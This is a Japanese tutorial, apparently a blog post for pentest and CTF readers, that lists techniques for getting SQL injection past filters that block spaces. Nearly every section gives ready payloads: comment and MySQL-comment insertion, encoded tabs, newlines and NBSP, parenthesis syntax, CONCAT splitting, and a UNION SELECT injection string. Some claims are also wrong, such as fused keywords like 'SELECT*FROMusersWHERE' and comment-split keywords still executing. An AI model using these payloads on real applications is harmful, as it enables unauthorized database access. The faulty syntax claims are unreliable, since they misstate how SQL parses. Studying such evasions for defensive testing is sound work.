はじめに
― スペースが無い?なら、作ればいいじゃない ―
Web アプリケーションが「スペースを使った SQL インジェクションを防ぐぞ!」と意気込んでフィルタを設定していても、攻撃者は全く怯まない。
なぜなら、SQL の世界には “スペースに見えないスペース” や、スペースの代わりに動くトリックが山ほど存在するからだ。
この記事では、ペンテスト・CTF で必須の No-Space Injection(スペース禁止回避テクニック) を体系的にまとめる。
1. コメントを“スペースの代わり”に差し込む
最も有名で、実戦でもやたら刺さる手法がこれ。
SQL のコメントは DB エンジンにとっては「無視される空白」と同じ扱い。
つまりスペースをフィルタしても、コメントは通ることが多い。
基本形:/**/
SELECT/**/ * /**/FROM/**/users/**/WHERE/**/name/**/='admin'
MySQL の裏ワザコメント:/*! ... */
これは MySQL 特有で、コメント内のコードが実際に実行されるタイプ。
SELECT/*!00000*/ * /*!00000*/FROM/*!00000*/users
WAF が“コメントだから OK”と通す → MySQL が“コメント内を実行”
という二段構えで突破する凶悪テク。
2. タブ・改行などの制御文字で空白を置き換える
アプリが「ASCII 32(スペース)」だけを除去しているケースは非常に多い。
だが、“空白はスペースだけじゃない” のだ。
タブ %09
SELECT%09*%09FROM%09users%09WHERE%09name='admin'
改行 %0A / %0D
SELECT%0A*%0AFROM%0Ausers%0AWHERE%0Aname='admin'
その他のホワイトスペース文字
| コード | 説明 |
|---|---|
%0B |
Vertical Tab |
%0C |
Form Feed |
%A0 |
Non-Breaking Space(NBSP) |
特に %A0 は通りやすい。
「見た目はスペース、実体はスペースじゃない」という、まるで変装名人。
3. スペース無し構文で強行突破
実は SQL のパーサは意外と優秀で、キーワードとキーワードの間にスペースが無くても動く場合がある。
そもそもスペース無しでいける
SELECT*FROMusersWHEREname='admin'
括弧で無理やり構文を整える
SELECT(1)FROM(users)WHERE(name)='admin'
キーワードを分割して書く
SELEC/**/T * FRO/**/M users
ここまでくると「もう読めないけど動く」という DB の懐の深さが見える。
4. concat() などで“値”を分割して合成
入力フィルタが 'admin' を拒否しても、
“admin” を分割して再結合すれば回避できる。
例:MySQL
SELECT/**/1/**/FROM/**/users/**/WHERE/**/name=CONCAT('ad','min')
アプリは「admin をブロックしたぞ!」と思ってるが、DB からしたら「普通に admin じゃん」となる。
5. URL エンコードの“空白代替セット”で突破
WAF が %20(スペース)のみを対象にしている時は、
他の空白系エンコードを使えば簡単に突破できる。
| 種類 | 効果 |
|---|---|
%09 |
タブ |
%0A |
LF |
%0D |
CR |
%0B |
VT |
%0C |
FF |
%A0 |
NBSP(最強のステルス空白) |
同じ「空白」に見えても、違うコードなのでフィルタがスルーする。
具体例:スペースゼロで UNION SELECT を通す
たとえば、下のように書いても DB が理解してしまうケースがある。
1/**/UNION/**/SELECT/**/NULL,NULL--
さらに強引に:
1/**/UNION%0ASELECT%0ANULL,NULL--
アプリ側がどれだけスペースをブロックしても、
攻撃者はいくらでも代替文字を差し込めるという典型例。
まとめ:
スペースを禁止しても、SQL インジェクションは止まらない
No-Space Injection が成立する理由はシンプル。
- SQL が柔軟すぎる
- 空白はスペースだけじゃない
- コメントや特殊文字が大量にある
- フィルタは“スペース”一種類しか見ていないことが多い
結果、攻撃者は以下を使い分けて突破する:
-
/**/コメント - タブ
%09 - 改行
%0A%0D - その他ホワイトスペース
%0B %0C %A0 - concat などで値を分割
- キーワード分割によるスペース無し構文
“スペース禁止=安全”という考えは完全に破綻している。